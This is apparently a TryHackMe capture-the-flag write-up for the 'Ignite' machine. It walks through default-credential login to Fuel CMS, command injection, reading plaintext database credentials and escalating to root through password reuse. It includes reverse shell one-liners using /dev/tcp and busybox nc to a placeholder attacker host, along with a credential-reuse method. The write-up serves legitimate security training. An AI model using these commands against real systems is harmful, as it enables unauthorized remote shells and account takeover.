# Ignite Writeup - TryHackMe

> Exploit Fuel CMS 1.4.1 RCE vulnerability, gain initial shell, then escalate to root by finding credentials in CMS config files.

- **URL:** https://hackindex.io/writeups/ignite
- **Platform:** TryHackMe
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** command-injection, rce, fuel-cms, privilege-escalation, information-disclosure
- **Authors:** [Hackercat](https://hackindex.io/authors/hackercat.md)
- **Published:** 2026-09-12
- **Updated:** 2026-09-12

Ignite is an Easy Linux machine running Fuel CMS 1.4, a content management system left on its default credentials and never updated past a known Remote Code Execution vulnerability. From the CMS admin panel, command injection drops a shell as www-data. A database config file holds a plaintext password, and whoever set this machine up reused it as the root account password.

## Reconnaissance

```bash
nmap -p- -T4 --min-rate 1000 --open --max-retries 2 $TARGET_IP
# Starting Nmap 7.94 ( https://nmap.org ) at 2026-08-21 13:10 UTC
# Nmap scan report for $TARGET_IP
# Host is up (0.030s latency).
# Not shown: 65534 closed tcp ports (conn-refused)
#
# PORT   STATE SERVICE
# 80/tcp open  http
#
# Nmap done: 1 IP address (1 host up) scanned in 42.17 seconds
```

```bash
nmap -sC -sV -p 80 $TARGET_IP
# Starting Nmap 7.94 ( https://nmap.org ) at 2026-08-21 13:11 UTC
# Nmap scan report for $TARGET_IP
# Host is up (0.030s latency).
#
# PORT   STATE SERVICE VERSION
# 80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
# |_http-server-header: Apache/2.4.18 (Ubuntu)
# |_http-title: Welcome to FUEL CMS
# | http-robots.txt: 1 disallowed entry
# |_/fuel/
#
# Nmap done: 1 IP address (1 host up) scanned in 8.03 seconds
```

`robots.txt` already reveals the admin panel at `/fuel/`. Fuel CMS 1.4 is identified from the page title.

## Exploitation

Navigate to `http://$TARGET_IP/fuel/` to reach the CMS admin login.

Try the default credentials that ship with Fuel CMS: username `admin`, password `admin`.

Login succeeds. Fuel CMS 1.4 has a known Remote Code Execution vulnerability in the admin interface. The "Pages" section passes unsanitised input directly to a system call. Commands entered execute as `www-data`.

```
Enter Command $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Enter Command $ uname -a
Linux ubuntu 4.15.0-45-generic #48-Ubuntu SMP Tue Jan 29 16:28:13 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Enter Command $ ls /home
www-data

Enter Command $ ls -la /home/www-data
total 24
drwxr-xr-x 2 root     root     4096 Jul 26  2019 .
drwxr-xr-x 3 root     root     4096 Jul 26  2019 ..
-rw-r--r-- 1 www-data www-data   33 Jul 26  2019 flag.txt

Enter Command $ cat /home/www-data/flag.txt
$USER_FLAG
```

## Credential Discovery

CMS installations almost always have a database configuration file with plaintext credentials. For Fuel CMS:

```
Enter Command $ cat fuel/application/config/database.php

<?php
defined('BASEPATH') OR exit('No direct script access allowed');

$active_group = 'default';
$query_builder = TRUE;

$db['default'] = array(
    'dsn'       => '',
    'hostname'  => 'localhost',
    'username'  => 'root',
    'password'  => '$ROOT_PASSWORD',
    'database'  => 'fuel_schema',
    'dbdriver'  => 'mysqli',
    ...
);
```

Password found in the database config. Database credentials are frequently reused as system account passwords, so test this immediately.

## Reverse Shell

The web command panel works for reading files but an interactive shell is more practical for further enumeration.

Set up a listener:

```bash
nc -nlvp 4444
# listening on [any] 4444 ...
```

Send the payload from the web panel:

```
Enter Command $ sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1
```

If filtered, `busybox nc` works as a fallback:

```
Enter Command $ busybox nc $ATTACKER_IP $ATTACKER_PORT -e sh
```

Listener receives the connection:

```bash
nc -nlvp 4444
# listening on [any] 4444 ...
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 52142
```

Upgrade to a full TTY:

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/html$ ^Z
[1]+  Stopped                 nc -nlvp 4444

┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg
nc -nlvp 4444

www-data@ubuntu:/var/www/html$ export TERM=xterm
```

## Privilege Escalation

The database password works as the root account password.

```bash
su root
# Password: $ROOT_PASSWORD
```

```bash
id
# uid=0(root) gid=0(root) groups=0(root)
```

```bash
cat /root/root.txt
# $ROOT_FLAG
```

The database password worked directly as the root account password. No exploit required.

## Key Takeaways

- Scan all ports with `-p-` before running service detection. Use `--min-rate 1000` to keep the full sweep fast, then run `-sC -sV` only on confirmed open ports.
- Default credentials must always be tried before any exploitation. `admin`/`admin` is the single most common CMS misconfiguration.
- `robots.txt` Disallow entries are not security controls. They advertise sensitive paths to attackers.
- Database config files (`database.php`, `.env`, `config.php`, `settings.py`) almost always contain plaintext credentials. They are the first thing to look for after gaining any code execution.
- Password reuse between database accounts and system accounts is extremely common. Any credential found should be tested immediately against `su`, SSH, and other local accounts.

## References

- [TryHackMe: Ignite](https://tryhackme.com/room/ignite) - Room page
- [Exploit-DB: Fuel CMS 1.4.1 RCE](https://www.exploit-db.com/exploits/47138) - CVE-2018-16763
- [revshells.com](https://www.revshells.com) - Reverse shell payload generator
- [HackIndex: HTTP/HTTPS](https://hackindex.io/services/http-https) - Web enumeration and exploitation